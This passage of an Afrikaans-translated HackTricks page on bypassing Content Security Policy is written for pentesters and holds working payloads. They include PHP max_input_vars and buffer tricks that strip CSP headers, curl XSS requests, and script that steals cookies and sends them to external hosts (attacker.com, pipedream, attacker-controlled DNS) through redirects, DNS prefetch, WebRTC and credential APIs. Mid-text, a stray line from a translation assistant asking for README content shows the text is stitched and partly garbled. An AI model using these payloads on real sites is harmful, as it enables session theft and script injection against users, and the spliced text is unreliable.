Volgens die last technique commented in this video, die stuur van te veel parameters (1001 GET parameters alhoewel jy dit ook met POST params en meer as 20 files kan doen). Enige gedefinieerde header()
in die PHP-webkode sal nie gestuur word nie weens die fout wat dit sal veroorsaak.
PHP response buffer overload
PHP is bekend daarvoor dat dit die response na 4096 bytes volgens verstek buffer. Daarom, as PHP 'n waarskuwing toon, deur voldoende data binne waarskuwings te verskaf, sal die response gestuur word voor die CSP header, wat veroorsaak dat die header geïgnoreer word.
Dan bestaan die tegniek basies uit om die response buffer met waarskuwings te vul sodat die CSP header nie gestuur word nie.
Idea from this writeup.
Kill CSP via max_input_vars (headers already sent)
Omdat headers voor enige output gestuur moet word, kan waarskuwings deur PHP gegenereer later header()
-oproepe ongeldig maak. As gebruikersinvoer max_input_vars
oorskry, gooi PHP eers 'n opstartwaarskuwing; enige daaropvolgende header('Content-Security-Policy: ...')
sal met “headers already sent” misluk, wat CSP effektief deaktiveer en andersins-gebokkkeerde reflective XSS toelaat.
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
I can translate that file to Afrikaans, but I don't see the README.md content here. Please paste the markdown content of src/pentesting-web/content-security-policy-csp-bypass/README.md and I will translate the English text to Afrikaans while preserving all markdown/html tags, links, refs and code exactly as you requested.
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
Herskryf Foutbladsy
Uit this writeup blyk dit asof dit moontlik was om 'n CSP-beskerming te bypass deur 'n foutbladsy te laai (moontlik sonder CSP) en die inhoud daarvan te herskryf.
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + 'self' + wordpress
SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) in an endpoint of a page misbruik om ander endpoints van dieselfde oorsprong. Dit word gedoen deur die vulnerable endpoint vanaf 'n attacker page te laai en dan die attacker page te ververs na die real endpoint in die oorsprong wat jy wil misbruik. Op hierdie manier kan die vulnerable endpoint die opener
object in die payload gebruik om toegang te kry tot die DOM van die real endpoint to abuse. Vir meer inligting, kyk:
SOME - Same Origin Method Execution
Verder het wordpress 'n JSONP endpoint in /wp-json/wp/v2/users/1?_jsonp=data
wat die data wat gestuur word in die uitset sal weerspieël (met die beperking tot slegs letters, syfers en kolletjies).
'n Attacker kan daardie endpoint misbruik om 'n SOME attack teen WordPress te genereer en dit in te sluit binne <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
Let wel dat hierdie script sal loaded word omdat dit allowed by 'self'. Verder, en aangesien WordPress geïnstalleer is, kan 'n attacker dalk die SOME attack misbruik deur die vulnerable callback endpoint wat die CSP omseil om meer regte aan 'n gebruiker te gee, 'n nuwe plugin te installeer...
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
As daar 'n streng CSP is wat jou nie toelaat om met external servers te interact nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te exfiltrate.
Location
Jy kan net die location opdateer om die geheime inligting na die attacker's server te stuur:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
Jy kan herlei deur 'n meta tag in te voeg (dit is net 'n herleiding, dit sal nie inhoud leak nie)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
Om bladsye vinniger te laai, gaan blaaiers gasheername vooraf na IP-adresse oplos en dit in die kas stoor vir later gebruik.
Jy kan 'n blaaier aandui om 'n gasheernaam vooraf op te los met: <link rel="dns-prefetch" href="something.com">
Jy kan hierdie gedrag misbruik om exfiltrate sensitiewe inligting via DNS requests:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
Nog 'n manier:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
Om te voorkom dat dit gebeur, kan die bediener die HTTP-header stuur:
X-DNS-Prefetch-Control: off
tip
Blykbaar werk hierdie tegniek nie in headless browsers (bots) nie
WebRTC
Op verskeie bladsye kan jy lees dat WebRTC nie die connect-src
beleid van die CSP kontroleer nie.
In werklikheid kan jy leak inligting deur 'n DNS request te stuur. Kyk na hierdie kode:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
Nog 'n opsie:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
Die credential popup stuur 'n DNS-versoek na die iconURL sonder dat dit deur die bladsy beperk word. Dit werk slegs in 'n veilige konteks (HTTPS) of op localhost.
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
CSP-beleide aanlyn nagaan
Outomatiese skep van CSP
https://csper.io/docs/generating-content-security-policy
Verwysings
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
- The Art of PHP: CTF‑born exploits and techniques
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.